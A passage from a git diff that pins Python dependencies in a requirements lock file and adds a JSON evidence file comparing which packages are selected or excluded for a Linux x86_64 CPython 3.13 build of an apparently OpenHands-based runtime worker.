== 'linux' +pyobjc-framework-videosubscriberaccount==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-videotoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-virtualization==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-vision==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-webkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyotp==2.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyparsing==3.2.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pypdf==6.19.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyperclip==1.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-dateutil==2.9.0.post0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-docx==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-dotenv==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-frontmatter==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-json-logger==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-multipart==0.0.31 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyyaml==6.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +redis==7.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +referencing==0.36.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +regex==2025.9.18 ; platform_machine == 'x86_64' and sys_platform == 'linux' +reportlab==4.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +requests==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +requests-oauthlib==2.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +rich==14.3.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +rich-rst==1.3.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +rpds-py==0.27.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +screeninfo==0.8.1 ; platform_machine == 'x86_64' and platform_system != 'darwin' and sys_platform == 'linux' +secretstorage==3.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +six==1.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +sniffio==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +socksio==1.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +sortedcontainers==2.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +soupsieve==2.9.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +sse-starlette==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +starlette==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tenacity==9.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tiktoken==0.12.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tokenizers==0.23.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tom-swe==1.0.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tqdm==4.67.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tree-sitter==0.25.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tree-sitter-bash==0.25.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +typing-extensions==4.15.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +typing-inspection==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uncalled-for==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uritemplate==4.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +urllib3==2.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uuid7==0.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uvicorn==0.52.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +watchfiles==1.1.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +wcwidth==0.2.14 ; platform_machine == 'x86_64' and sys_platform == 'linux' +websockets==15.0.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +wrapt==1.17.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +yarl==1.22.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +zipp==3.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-dependency-comparison.json b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-dependency-comparison.json new file mode 100644 index 000000000..47c59c2c8 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-dependency-comparison.json @@ -0,0 +1,1954 @@ +{ + "schema_version": 1, + "evidence_class": "local_integration", + "scope": "Selected Linux x86_64 dependencies on CPython 3.13.15; source-byte comparison.", + "target": { + "implementation_name": "cpython", + "implementation_version": "3.13.15", + "os_name": "posix", + "platform_machine": "x86_64", + "platform_python_implementation": "CPython", + "platform_system": "Linux", + "python_full_version": "3.13.15", + "python_version": "3.13", + "sys_platform": "linux" + }, + "parser": { + "name": "packaging", + "version": "26.3" + }, + "files": [ + { + "role": "reviewed_main", + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": "f03f41c7", + "sha256": "14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64" + }, + { + "role": "candidate_input", + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": "bb3d00dc1ed493726481d0d3d746f6b0b46ed8bd", + "sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676" + }, + { + "role": "reconciled", + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": "working_tree", + "sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106" + } + ], + "selection": [ + { + "role": "reviewed_main", + "requirements": 336, + "selected": 176, + "excluded": [ + { + "name": "google-api-core", + "marker": "python_full_version < \"3.13\" and platform_machine == \"x86_64\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-core", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-accessibility", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-accounts", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-addressbook", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-adservices", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-adsupport", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-applescriptkit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-applescriptobjc", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-applicationservices", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-apptrackingtransparency", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-audiovideobridging", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-authenticationservices", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-automaticassessmentconfiguration", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-automator", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-avfoundation", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-avkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-avrouting", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-backgroundassets", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-browserenginekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"23.4\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-businesschat", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-calendarstore", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-callkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-carbon", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cfnetwork", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cinematic", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"23.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-classkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cloudkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cocoa", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-collaboration", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-colorsync", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-contacts", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-contactsui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coreaudio", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coreaudiokit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corebluetooth", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coredata", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corehaptics", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corelocation", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coremedia", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coremediaio", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coremidi", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coreml", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coremotion", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coreservices", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corespotlight", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coretext", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corewlan", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cryptotokenkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-datadetection", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-devicecheck", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-devicediscoveryextension", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"24.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-dictionaryservices", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-discrecording", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-discrecordingui", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-diskarbitration", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-dvdplayback", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-eventkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-exceptionhandling", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-executionpolicy", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-extensionkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-externalaccessory", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-fileprovider", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-fileproviderui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-findersync", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-fsevents", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-fskit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"24.4\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-gamecenter", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-gamecontroller", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-gamekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-gameplaykit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-healthkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-imagecapturecore", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-inputmethodkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-installerplugins", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-instantmessage", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-intents", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"16.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-intentsui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-iobluetooth", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-iobluetoothui", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-iosurface", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-ituneslibrary", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-kernelmanagement", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-latentsemanticmapping", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-launchservices", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-libdispatch", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-libxpc", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-linkpresentation", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-localauthentication", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-localauthenticationembeddedui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mailkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mapkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mediaaccessibility", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mediaextension", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"24.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-medialibrary", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mediaplayer", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"16.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mediatoolbox", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metal", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metalfx", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metalkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metalperformanceshaders", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metalperformanceshadersgraph", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metrickit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mlcompute", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-modelio", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-multipeerconnectivity", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-naturallanguage", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-netfs", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-network", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-networkextension", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-notificationcenter", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-opendirectory", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-osakit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-oslog", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-passkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-pencilkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-phase", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-photos", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-photosui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-preferencepanes", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-pushkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-quartz", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-quicklookthumbnailing", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-replaykit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-safariservices", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"16.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-safetykit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-scenekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-screencapturekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.4\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-screensaver", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-screentime", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-scriptingbridge", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-searchkit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-security", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-securityfoundation", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-securityinterface", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-securityui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"24.4\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-sensitivecontentanalysis", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"23.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-servicemanagement", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-sharedwithyou", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-sharedwithyoucore", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-shazamkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-social", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-soundanalysis", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-speech", + "marker": "platform_machine == 